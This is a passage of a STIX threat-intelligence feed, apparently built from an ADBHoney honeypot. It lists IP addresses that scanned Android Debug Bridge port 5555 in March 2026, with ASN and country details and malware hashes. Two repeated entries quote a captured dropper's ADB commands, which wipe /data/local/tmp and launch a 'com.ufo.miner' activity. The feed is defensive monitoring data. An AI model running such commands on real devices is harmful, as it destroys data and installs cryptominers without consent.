        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.42.197.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:00:11.000Z",
      "valid_until": "2026-04-25T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 76,
          "first_seen": "2026-03-24T20:16:55.000Z",
          "last_seen": "2026-03-25T10:40:00.384Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-25T03:08:02.000Z | last_seen=2026-03-25T03:18:14.186Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--b3d84834-1cc3-465e-ba6e-c438e6ab4c1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T04:00:10.000Z",
      "valid_until": "2026-04-26T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-25T03:08:02.000Z",
          "last_seen": "2026-03-25T03:18:14.186Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-25T03:08:01.000Z | last_seen=2026-03-25T03:18:09.166Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--8050f9ef-b876-41e5-8f98-7cf8116ac16b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T04:00:10.000Z",
      "valid_until": "2026-04-26T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-25T03:08:01.000Z",
          "last_seen": "2026-03-25T03:18:09.166Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T07:00:39.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-25T06:13:57.000Z | last_seen=2026-03-25T06:15:08.491Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation",
      "id": "indicator--f5e88a04-8051-4de7-97ee-85e06d6092b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.148.96.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:00:39.000Z",
      "valid_until": "2026-04-26T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-25T06:13:57.000Z",
          "last_seen": "2026-03-25T06:15:08.491Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T07:00:39.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-25T06:24:51.000Z | last_seen=2026-03-25T06:36:13.490Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--c6877959-f461-4748-bc7f-004bc68f8a76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:00:39.000Z",
      "valid_until": "2026-04-26T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-25T06:24:51.000Z",
          "last_seen": "2026-03-25T06:36:13.490Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T07:00:39.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-25T06:08:56.000Z | last_seen=2026-03-25T06:10:02.807Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--80509897-54d4-4766-83b7-bef003b52f76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:00:39.000Z",
      "valid_until": "2026-04-26T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-25T06:08:56.000Z",
          "last_seen": "2026-03-25T06:10:02.807Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=48 | first_seen=2026-03-25T07:26:54.000Z | last_seen=2026-03-25T15:34:10.914Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1",
      "id": "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T08:00:05.000Z",
      "valid_until": "2026-04-26T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 48,
          "first_seen": "2026-03-25T07:26:54.000Z",
          "last_seen": "2026-03-25T15:34:10.914Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T08:00:36.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=48 | first_seen=2026-03-25T07:26:54.000Z | last_seen=2026-03-25T15:34:10.914Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1",
      "id": "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T08:00:36.000Z",
      "valid_until": "2026-04-26T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 48,
          "first_seen": "2026-03-25T07:26:54.000Z",
          "last_seen": "2026-03-25T15:34:10.914Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T10:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=31; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=40 | first_seen=2026-03-25T09:52:21.000Z | last_seen=2026-03-25T11:31:21.070Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--ba48ad91-c64f-4d70-b46b-43bca93fd8fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.42.250.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:00:05.000Z",
      "valid_until": "2026-04-26T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 40,
          "first_seen": "2026-03-25T09:52:21.000Z",
          "last_seen": "2026-03-25T11:31:21.070Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T12:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-25T11:53:00.000Z | last_seen=2026-03-25T12:07:12.017Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--af682231-37df-43b8-8779-e1dc562398c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.163.53.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T12:00:05.000Z",
      "valid_until": "2026-04-26T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-25T11:53:00.000Z",
          "last_seen": "2026-03-25T12:07:12.017Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T13:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-25T12:05:51.000Z | last_seen=2026-03-25T12:06:54.077Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b65b9ce6-3648-4e4c-88c4-c4f602056ca6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:00:09.000Z",
      "valid_until": "2026-04-26T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-25T12:05:51.000Z",
          "last_seen": "2026-03-25T12:06:54.077Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T13:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-25T12:06:38.000Z | last_seen=2026-03-25T12:16:41.368Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:00:09.000Z",
      "valid_until": "2026-04-26T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-25T12:06:38.000Z",
          "last_seen": "2026-03-25T12:16:41.368Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T16:00:18.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-25T15:09:09.000Z | last_seen=2026-03-25T15:10:19.633Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--835052ed-487a-4713-abac-ad49dadc1437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.243.175.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:00:18.000Z",
      "valid_until": "2026-04-26T16:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-25T15:09:09.000Z",
          "last_seen": "2026-03-25T15:10:19.633Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T16:00:18.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1.raw; src_ip=114.98.177.176; src_ips=114.98.177.176; cc=CN; last_seen=2026-03-25T15:20:18.834Z; cmds=[rm -rf /data/local/tmp/* | ps | grep trinity | am start -n com.ufo.miner/com.example.test.MainActivity]",
      "id": "indicator--e5bd27d8-baca-4c8a-9569-83a4832652a3",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:00:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T16:00:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-25T15:09:09.000Z | last_seen=2026-03-25T15:10:19.633Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--835052ed-487a-4713-abac-ad49dadc1437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.243.175.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:00:34.000Z",
      "valid_until": "2026-04-26T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-25T15:09:09.000Z",
          "last_seen": "2026-03-25T15:10:19.633Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T16:00:34.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1.raw; src_ip=114.98.177.176; src_ips=114.98.177.176; cc=CN; last_seen=2026-03-25T15:20:18.834Z; cmds=[rm -rf /data/local/tmp/* | ps | grep trinity | am start -n com.ufo.miner/com.example.test.MainActivity]",
      "id": "indicator--e5bd27d8-baca-4c8a-9569-83a4832652a3",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aba3c21d61c7b57e5ca6c22db95d09a302b862552442f61831a6d83eab6190c1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T16:00:34.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-25T17:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-25T16:56:24.000Z | last_seen=2026-03-25T16:57:26.532Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--0ded3e8e-93c0-442d-af08-a80bb7d04563",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
